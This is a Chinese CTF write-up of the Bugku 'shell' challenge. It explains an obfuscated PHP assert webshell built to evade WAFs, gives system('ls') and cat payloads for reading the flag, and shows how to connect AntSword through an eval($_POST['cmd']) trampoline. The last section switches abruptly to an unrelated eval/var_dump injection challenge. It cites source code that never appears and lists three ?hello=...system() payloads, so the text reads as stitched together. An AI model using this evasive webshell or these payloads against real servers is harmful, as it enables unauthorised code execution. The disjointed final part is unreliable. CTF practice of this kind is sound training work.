shell – Bugku CTF平台
前置:
题目给了提示:
送给大家一个过狗一句话 \$poc=”a#s#s#e#r#t”; \$poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’])
-
- 解释:\$poc=”a#s#s#e#r#t”; 定义一个字符串,用
#分隔字母,看起来像普通字符串,避免直接出现敏感词assert(可能绕过 WAF 或静态扫描)。
- 解释:\$poc=”a#s#s#e#r#t”; 定义一个字符串,用
-
- \$poc_1 = explode(“#”, $poc);使用
explode()按#分割字符串,得到数组:$poc_1 = [‘a’, ‘s’, ‘s’, ‘e’, ‘r’, ‘t’];
- \$poc_1 = explode(“#”, $poc);使用
-
- $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];将数组元素拼接成完整字符串:$poc_2 = “a” . “s” . “s” . “e” . “r” . “t” = “assert”;
-
- $poc_2($_GET[‘s’]);等价于
assert($_GET['s']);
从 URL 的s参数(如?s=phpinfo();)获取用户输入,并作为 PHP 代码执行。
- $poc_2($_GET[‘s’]);等价于
解一:
本题最简单的解决方式就是直接传参,首先?s=system(“ls”),读出:flaga15808abee46a1d5.txt index.php
这句话的意思其实后台执行了
assert("system('ls')");
而 system() 是 PHP 的函数用于执行系统命令,而 ls 命令则是在 linux 环境列出 php 文件所在文件夹下的文件们,而如果 php 文件所在系统是 windows,则用 dir 命令列出所有文件
于是便可直接?s=system(“cat%20flaga15808abee46a1d5.txt”)读出flag
提交完发现坏事了,因为还有种方法没试,于是又多花了3金币开了一个容器
解二:antsward链接
这里我遇到了一件有些矛盾的事情:如果直接如解法一传入?s=system(“ls”)是可以读取内容的,但antsward链接却不可以(链接密码为s,url输入http://171.80.2.169:10210)
只有迂回一下才能读到文件(URL: http://.../?s=eval($_POST['cmd'])密码: cmd)
这里需要引入antsword底层的一点问题
蚁剑原理:它会发起一次 POST 请求,URL 地址和参数如图,并在请求体里携带 cmd 参数名和查询文件夹等系统命令过去,后台代码从上到下执行,先获取 URL 的 s 后面的查询参数,被 assert 执行了,执行的就是 eval($_POST[‘cmd’]) 这句话,去 POST 请求体里找到 cmd 参数的值就是注入的命令,交给 eval 执行并返回结果给蚁剑,就能这样渗透进服务器直接通过工具双击看文件内容了
简单解释其中区别:
题目的 WebShell 实际等价于:
<?php assert($_GET['s']); ?>
为什么手动测试 ?s=system("ls") 能成功?
因为:
在 PHP 5.x 中,assert() 会 把字符串当作 PHP 代码执行(和 eval 类似)。
→ 所以看到 ls 的输出,完全正常。
为什么蚁剑直接用密码 s 连接会失败(返回空)?
根本原因:蚁剑默认发送的是 Base64 编码的字符串,而 assert() 无法正确执行它
蚁剑默认行为(当你设密码为 s):
-
- 生成一段复杂 PHP 载荷(用于文件管理、命令执行等);
-
- 将其 Base64 编码;
-
- 作为
s的值通过 GET 发送,例如:?s=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwwKTtAc2V0X3RpbWVfbGltaXQoMCk7…
- 作为
WebShell 执行:assert(“QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwwKTt…”);
⚠️ 问题来了:
-
"QGluaV9zZXQo..."是一个 纯字符串字面量,不是合法的 PHP 代码;
-
- 在 PHP 5.x 中,
assert("任意字符串")会 尝试把该字符串当作表达式求值;
- 在 PHP 5.x 中,
-
- 但
QGlua...不是合法表达式(没有引号、不是函数调用、不是变量),会导致assert()静默失败或抛出警告(但被@屏蔽);
- 但
-
- 最终 无任何输出 → 蚁剑收到空响应 → 显示“连接失败”或空白。
📌 关键点:
assert()执行的是“表达式”,不是“脚本”。
它可以执行system("ls")(这是一个函数调用表达式),
但不能执行一长串 Base64 编码的脚本(因为那不是有效表达式)。为什么“迂回法”能成功?
使用的配置:
-
- URL:
http://.../?s=eval($_POST['cmd'])
- URL:
-
- 密码:
cmd
- 密码:
执行流程:
-
- GET 请求:?s=eval($_POST[‘cmd’])
-
- WebShell 执行:assert(“eval(\$_POST[‘cmd’])”);→ 在 PHP 5.x 中,这会 执行
eval($_POST['cmd'])这条语句(因为它是合法表达式:函数调用)。
- WebShell 执行:assert(“eval(\$_POST[‘cmd’])”);→ 在 PHP 5.x 中,这会 执行
-
- 蚁剑同时发送 POST:POST /… HTTP/1.1 cmd=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwwKTt…
-
- 服务器执行:eval($_POST[‘cmd’]); // ← 这里执行的是 Base64 载荷 →
eval()可以执行任意 PHP 代码(包括 Base64 解码后的复杂逻辑); → 输出->|...|<-格式; → 蚁剑成功解析。
- 服务器执行:eval($_POST[‘cmd’]); // ← 这里执行的是 Base64 载荷 →
所以,“迂回法”的本质是:
用
assert()执行一个“跳板语句”eval($_POST['cmd']),把真正的执行权交给eval(),从而兼容蚁剑的 Base64 载荷。
所以本质区别在于eval和assert:assert() 只能处理表达式,而蚁剑的通信载荷是一段完整 PHP 脚本(多语句),所以 assert 无法承载。
题目源码如下
所以这里我们要做的就是传入?hello=1);…..
而…..的内容就是我们需要执行的命令
先给出我们的payload,我一共写出来三种
1:?hello=1);highlight_file(“flag.php”);//
2:?hello=1);readfile(“flag.php”);//
3:?hello=);system(‘cat flag.php’);//
主要解释一下这里的原理:
eval将内容当作php代码执行
var_dump干了什么呢?
当你传入 ?hello=1); system(‘id’); // 时,实际执行的是:
var_dump(1); system(‘id’); //
);用来闭合语句
//将后续的)注释掉
这里有一个注意点,别忘了分号!eval需要分号才能执行语句


Comments NOTHING